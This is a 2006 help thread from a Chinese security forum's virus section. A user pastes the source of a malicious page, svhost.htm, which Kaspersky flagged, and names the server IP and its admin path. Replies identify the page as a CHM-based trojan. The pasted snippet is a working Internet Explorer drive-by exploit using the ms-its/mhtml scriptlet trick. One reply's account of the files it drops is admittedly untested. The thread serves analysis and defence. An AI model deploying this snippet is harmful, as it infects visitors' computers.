20CN网络安全小组论坛 - 病毒专区 - 求助，该网页是黑的吗，附原码。

论坛: 病毒专区标题: 求助，该网页是黑的吗，附原码。

作者: godliness [godliness]

论坛用户

我今天上网突然卡巴就猪叫，一看原来是这个东西：svhost.htm
该文件的路径是： http://211.154.167.23/english/manager/images/svhost.htm
网站的后台：http://211.154.167.23/english/manager
该文件的原码：
<body oncontextmenu="return false" ondragstart="return false" onselectstart ="return false" onselect="document.selection.empty()" oncopy="document.selection.empty()" onbeforecopy="return false" onmouseup="document.selection.empty()"><noscript><iframe src=*></iframe></noscript>
<textarea id="code" style="display:none;">
<object data="ms-its:mhtml:file://c:\foo.mht!${path}/svhost.chm::/svhost.htm" type="text/x-scriptlet">
</object>
</textarea>
<script language="javascript">
document.write(code.value.replace(/\${path}/g,location.href.substring(0,location.href.indexOf('svhost.htm'))));
</script>

我根本就没上这个网站，不知道怎么会出现这个问题，请大家看看这个文件有什么毛病，多谢了！

地主发表时间: 06-02-14 22:50

回复: huqianlong [huqianlong]

论坛用户

嘿嘿！
用CHM生成的木马！

B1层发表时间: 06-05-11 15:44

回复: coolguy [coolguy]

论坛用户

此代码是脚本木马病毒，文件运行后会在C盘根目录下生成三个文件：
1.foo.mht 2.svhost.chm 3.svhost.htm
“foo.mht”由“svhost.chm”生成，属性被设为隐藏，“svhost.htm”文件是用来迷惑用户的，如果你的计算机里的文件夹选项没有把“显示所有文件和文件夹”的勾选上，那么只能看到第2个文件和第3个文件。

以上是我个人分析，没有在本机上运行过，如果有不足的地方，还请大家多多指点！

B2层发表时间: 06-05-11 19:21

论坛: 病毒专区